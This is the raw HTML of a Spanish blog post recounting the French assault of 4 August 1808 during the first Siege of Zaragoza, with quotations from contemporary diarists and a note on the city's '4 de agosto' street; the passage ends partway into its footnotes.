   UnhideWhenUsed=&quot;false&quot; Name=&quot;Dark List Accent 2&quot;/&gt;
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   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful List Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;73&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Colorful Grid Accent 2&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;60&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Shading Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;61&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light List Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;62&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Light Grid Accent 3&quot;/&gt;
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   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 1 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;64&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium Shading 2 Accent 3&quot;/&gt;
  &lt;w:LsdException Locked=&quot;false&quot; Priority=&quot;65&quot; SemiHidden=&quot;false&quot;
   UnhideWhenUsed=&quot;false&quot; Name=&quot;Medium List 1 Accent 3&quot;/&gt;
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 &lt;/w:LatentStyles&gt;
&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 10]&gt;
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&lt;![endif]--&gt;

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&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
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  &lt;w:DoNotPromoteQF/&gt;
  &lt;w:LidThemeOther&gt;ES&lt;/w:LidThemeOther&gt;
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&lt;/xml&gt;&lt;![endif]--&gt;&lt;!--[if gte mso 9]&gt;&lt;xml&gt;
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&lt;![endif]--&gt;&lt;/i&gt;&lt;/b&gt;&lt;/span&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGAgJ0FT1VazEr7pGUGb6xW7bjPlvmlyT-GLAGbjPdoAHc6ydb02TiZWXyLCik3ETQSdJvCpEhyI2sMEiwhvkYzWe_KpO2xKSlit293_YvDVKx4z_OTkImHnrfzQvVpVinpkugJqLozLFn/s1600/calle+4+agosto.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;200&quot; data-original-width=&quot;300&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjGAgJ0FT1VazEr7pGUGb6xW7bjPlvmlyT-GLAGbjPdoAHc6ydb02TiZWXyLCik3ETQSdJvCpEhyI2sMEiwhvkYzWe_KpO2xKSlit293_YvDVKx4z_OTkImHnrfzQvVpVinpkugJqLozLFn/s1600/calle+4+agosto.jpg&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Los
acontecimientos ocurridos tal día como hoy, 4 de agosto, marcaron un punto de
inflexión en el primer Sitio de Zaragoza. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: justify;&quot;&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Nuestra
ciudad que contaba entonces con algo menos de 40.000 habitantes, estaba rodeada
por las débiles y deterioradas defensas del muro medieval de rejola, pero seguía
resistiendo al asedio impuesto por las tropas napoleónicas. &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
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&lt;a name=&#39;more&#39;&gt;&lt;/a&gt;&lt;/div&gt;
&lt;span style=&quot;font-size: small;&quot;&gt;

&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Después de mes y medio de ataques y cañonazos constantes
y de sufrir los numerosos fuegos provocados por las bombas, el número de muertos
y heridos era ya muy elevado y el hambre y las epidemias se cernían sobre los
zaragozanos. &lt;/span&gt;&lt;/span&gt;

&lt;br /&gt;
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&lt;br /&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;También
habían sido numerosas las bajas en las tropas francesas y el general Verdier
necesitaba urgentemente refuerzos para repetir, con más intensidad si cabe, los
ataques a la ciudad que tan fieramente defendían sus habitantes. &lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Cuando
por fin llegaron los refuerzos, los franceses se prepararon para lo que
creyeron sería el ataque final:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Así
lo recoge, desde el lado francés, el general Lejeune&lt;sup&gt;1&lt;/sup&gt;:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;color: #0070c0; font-size: 10pt;&quot;&gt;“El primer día de agosto, la brillante brigada del general
Bazancourt, llegó al campo escoltando las provisiones y piezas de artillería
que se esperaban… Con la ayuda de estos refuerzos, el general Verdier pudo
hacer el acordonamiento total de la ciudad… El día 3 de agosto, todas las
baterías estaban ya montadas, pero el general Verdier, antes de hacer uso de
ellas, quiso por vez última intentar la paz.” &lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Según
sigue narrando, Verdier envió a Palafox un parlamentario con un escrito en el
que únicamente ponía una palabra, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;“Capitulación”,&lt;/b&gt;
a lo que el brigadier Antonio Torres, encargado del mando por la ausencia de
Palafox, respondió escribiendo debajo estas palabras &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;“Guerra a cuchillo”&lt;/i&gt;&lt;/b&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt; &lt;/i&gt;y seguidamente mandó colocar una
bandera roja sobre la Torre Nueva en señal de guerra&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;.&lt;/i&gt; &lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Tras
ser rechazada la rendición, Verdier se dispuso a tomar la ciudad antes de que
ésta recibiera refuerzos:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Sigue
diciendo Lejeune:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;color: #0070c0; font-size: 10pt;&quot;&gt;“Entonces, a una señal dada, 43&lt;sup&gt;2&lt;/sup&gt; bocas de fuego
tronaron simultáneamente, esparciendo el terror en toda la ciudad.”&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2uMiB12WXAFy-C7RmdMEag2pdRj8UP_n30jYxipdg3ofCsSdCsfdFxI5jFfapitaxMSSuGa1IU6H1ExfMCENF28Ln8C01EV_JCdAQaCcjfP8djHQwTTe4u3tSPrLgh5DR_uGiCzBQwFHu/s1600/4+agosto+1808.jpg&quot; style=&quot;clear: right; float: right; margin-bottom: 1em; margin-left: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1085&quot; data-original-width=&quot;702&quot; height=&quot;400&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg2uMiB12WXAFy-C7RmdMEag2pdRj8UP_n30jYxipdg3ofCsSdCsfdFxI5jFfapitaxMSSuGa1IU6H1ExfMCENF28Ln8C01EV_JCdAQaCcjfP8djHQwTTe4u3tSPrLgh5DR_uGiCzBQwFHu/s400/4+agosto+1808.jpg&quot; width=&quot;258&quot; /&gt;&lt;/a&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Así
comenzó un intenso bombardeo en la madrugada del día 3 causando gravísimos
daños en la zona sur, especialmente en el convento de San Francisco y sobre
todo en el Hospital de Ntra. Sra. De Gracia, en el cual se albergaban más de
dos mil personas entre enfermos y heridos. El fuego derivado de los ataques arruinó
también las casas contiguas.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Al
amanecer del día siguiente, &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;4 de agosto&lt;/b&gt;,
el ataque francés todavía fue mayor, especialmente en la zona de la Puerta de
Sta. Engracia. &lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Casamayor&lt;sup&gt;3&lt;/sup&gt;
escribió en su diario:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;color: #0070c0; font-size: 10pt;&quot;&gt;“…antes de las seis de la mañana habían inutilizado mucha parte
de las casas y conventos especialmente los inmediatos á la parte de donde
venían los fuegos, como fue el de Jerusalén… El de Santa Catalina quedó también
casi arruinado… en el resto de la Ciudad hubo mucho destrozo, estando todas las
calles llenas de ruinas.” &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;color: #0070c0; font-size: 10pt;&quot;&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Y
es que para conseguir tomar Zaragoza, los franceses habían forjado un plan de
ataque&lt;sup&gt;4&lt;/sup&gt;. Consistía en lanzar una gran ofensiva atacando
especialmente la zona del monasterio de Sta. Engracia para abrir una vía de
entrada a la ciudad y llegar hasta la principal calle del Coso. Una vez allí
las tropas tenían que dividirse en tres columnas: una se dirigiría hacia el
este y siguiendo el Coso Bajo debía llegar hasta la Magdalena y tomar la Puerta
del Sol para permitir la entrada de la caballería francesa.&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhly0PY9sdxOEC4tN1fBIoqXWwHOLmLGrIdOwaMGY1zGGZchyphenhyphen6CbNLJXFdArJnZKRwi96ORWgWLXn-NdJbNKtrKS2dbpS0olg1DdnawiHCUPgi3K1Rs7U-QgrFfgPwlBYt2k2h-AdDvqY0l/s1600/plano+primer+sitio.jpg&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;858&quot; data-original-width=&quot;900&quot; height=&quot;610&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhly0PY9sdxOEC4tN1fBIoqXWwHOLmLGrIdOwaMGY1zGGZchyphenhyphen6CbNLJXFdArJnZKRwi96ORWgWLXn-NdJbNKtrKS2dbpS0olg1DdnawiHCUPgi3K1Rs7U-QgrFfgPwlBYt2k2h-AdDvqY0l/s640/plano+primer+sitio.jpg&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Otra
columna tenía que dirigirse al oeste y, uniéndose a los que avanzarían por el
Carmen, llegar hasta la zona del mercado para conseguir abrir la puerta de San
Ildefonso. La tercera, desde el Coso, debía entrar por la calle San Gil,
atravesando por medio la ciudad, y dirigiéndose directamente a la puerta del
Ángel para llegar al puente de Piedra. Cada una de estas columnas estaría
apoyada por la infantería y por la artillería.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Con
este plan de ataque los franceses intentaban cortar la retirada de los
ciudadanos por el norte, mientras que fuera de la ciudad, en el sur, el
ejército se encontraba dispuesto a avanzar cuando fuese necesario.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Parecía
un plan perfecto, sin embargo los hechos no se desarrollaron según el plan
previsto, la feroz resistencia ofrecida por los zaragozanos fue tan fuerte que
consiguieron desbaratarlo: &lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Relata
Casamayor:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;color: #0070c0; font-size: 10pt;&quot;&gt;“…antes de las doce…entraron muchísimos los que se encaminaron a
los callizos de Sta. Catalina&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;y
franqueando las puertas del fosal del Hospital general se introdujeron en él
haciendo mil estragos y matando a cuantos encontraban, por donde salieron al
Coso, cuya diligencia fue acometer la Tesorería General robando todo el dinero…
se encaminaron a las casas…de otros vecinos, robándoles cuanto pudieron. Se
apoderaron de la casa del conde de Fuentes, donde se hicieron fuertes…”&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Mientras,
los atacantes de la zona suroeste, después de siete horas de fuego, se
apoderaron de la Torre del Pino y consiguieron entrar por esa parte en la
ciudad dirigiéndose a la plaza del Carmen, causando muchas bajas en el
recorrido. A la par, las tropas francesas bajaban desde Torrero y la caballería
tomaba posiciones, amenazando con entrar en la ciudad “a sangre y fuego”. El
terror se apoderó de los habitantes y algunos intentaron abandonarla llegando
al Ebro, donde fueron frenados por un militar español que les amenazó con un
cañón haciéndoles desistir de la huida.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Según
recoge Casamayor:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;color: #0070c0; font-size: 10pt;&quot;&gt;“… saliéndose por la puerta del Ángel al Arrabal, mujeres,
clérigos y muchísimos otros vecinos…”&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Las
bombas y cañonazos se intensificaron y la lucha cuerpo a cuerpo se generalizó
en toda la ciudad, los franceses fueron rechazados en la Magdalena y no
pudieron llegar al río y los combates al oeste de la ciudad, casa por casa,
contuvieron el avance del enemigo. &lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;La
columna que según el plan trazado debía llegar hasta el puente de Piedra,
atravesando la calle San Gil, de equivocó de calle y se introdujo por la de la
Puerta Cinejia, encontrándose de repente en un dédalo de estrechísimas
callejuelas en las que muchos de los que entraron fueron atacados y muertos
desde cada puerta y cada ventana. También fue grande la resistencia en la
puerta del Portillo, donde hubo muchas bajas francesas.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Sigue
Casamayor:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: left;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7KhuSRSVH227MeIYHV_mToaywsBHfdJtsBj6F08L7FKWYJ5zGI9o-wwVm6-KvyDX7ftYl4Jft9bMrkBEqtT5_J8pg-O-_Ts4vwhoka6FTY_sEXhEGUArS8cehWHbxfEYITwGNW74mvhaj/s1600/4+agosto.jpg&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;1098&quot; data-original-width=&quot;707&quot; height=&quot;320&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi7KhuSRSVH227MeIYHV_mToaywsBHfdJtsBj6F08L7FKWYJ5zGI9o-wwVm6-KvyDX7ftYl4Jft9bMrkBEqtT5_J8pg-O-_Ts4vwhoka6FTY_sEXhEGUArS8cehWHbxfEYITwGNW74mvhaj/s320/4+agosto.jpg&quot; width=&quot;206&quot; /&gt;&lt;/a&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;color: #0070c0; font-size: 10pt;&quot;&gt;“La ferocidad de esta gente contra nuestra ciudad y vecindario
en esta acción, fue de las más sangrientas e ináuditas… pues además del robo
hicieron muchísimas muerte que más parecían Nerones que franceses…” &lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Y
señala Alcaide Ibieca:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;color: #0070c0; font-size: 10pt;&quot;&gt;“Llegó por fin la noche á dar treguas a tamañas catástrofes.
Desesperado el enemigo de semejante oposición, al considerar tanto estrago y
carnicería, trató de guarecerse en el hospital y san Francisco, formando línea
desde este convento al de san Diego, y de allí al de santa Rosa…”&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;A
pesar de todos los intentos, el ejército francés no consiguió tomar la ciudad, la
situación era muy grave, pero no irremediable, todavía cabía alguna esperanza
para Zaragoza, que tras los intensos bombardeos había sufrido daños
irreparables entre su población y su caserío. También fue muy alto el precio
pagado por los atacantes, que contaron a cientos sus víctimas.&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Escribió
Casamayor en su diario el relato de lo acontecido el 4 de agosto:&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;color: #0070c0; font-size: 10pt;&quot;&gt;“Este
día es el que será memorable&lt;span style=&quot;mso-spacerun: yes;&quot;&gt;&amp;nbsp; &lt;/span&gt;para la
ínclita Zaragoza en todas las posteridades”&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Y
no se equivocó y para perpetuar estos hechos en la memoria de sus habitantes, desde
1860 una de las principales calles de “El Tubo” zaragozano lleva el nombre de &lt;b style=&quot;mso-bidi-font-weight: normal;&quot;&gt;&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;4 de
agosto&lt;/i&gt;&lt;/b&gt; en recuerdo de los terribles y valerosos acontecimientos sucedidos
allí ese día.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Recordamos
nosotros también a quienes heroicamente defendieron su ciudad.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;text-align: justify;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div align=&quot;right&quot; class=&quot;MsoNormal&quot; style=&quot;text-align: right;&quot;&gt;
&lt;i style=&quot;mso-bidi-font-style: normal;&quot;&gt;&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot;&gt;Rosa M. Germán&lt;/span&gt;&lt;/i&gt;&lt;/div&gt;
&lt;div class=&quot;MsoNormal&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;border-bottom: solid windowtext 1.5pt; border: none; mso-element: para-border-div; padding: 0cm 0cm 1pt;&quot;&gt;
&lt;div class=&quot;MsoNormal&quot; style=&quot;border: none; mso-border-bottom-alt: solid windowtext 1.5pt; mso-padding-alt: 0cm 0cm 1.0pt 0cm; padding: 0cm;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;div class=&quot;MsoListParagraphCxSpFirst&quot; style=&quot;mso-list: l0 level1 lfo1; text-indent: -18pt;&quot;&gt;
&lt;span face=&quot;&amp;quot;arial&amp;quot; , &amp;quot;sans-serif&amp;quot;&quot; style=&quot;font-size: 9pt;&quot;&gt;&lt;span style=&quot;mso-list: Ignore;&quot;&gt;1&lt;span style=&quot;font: 7pt &amp;quot;Times New Roman&amp;quot;;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
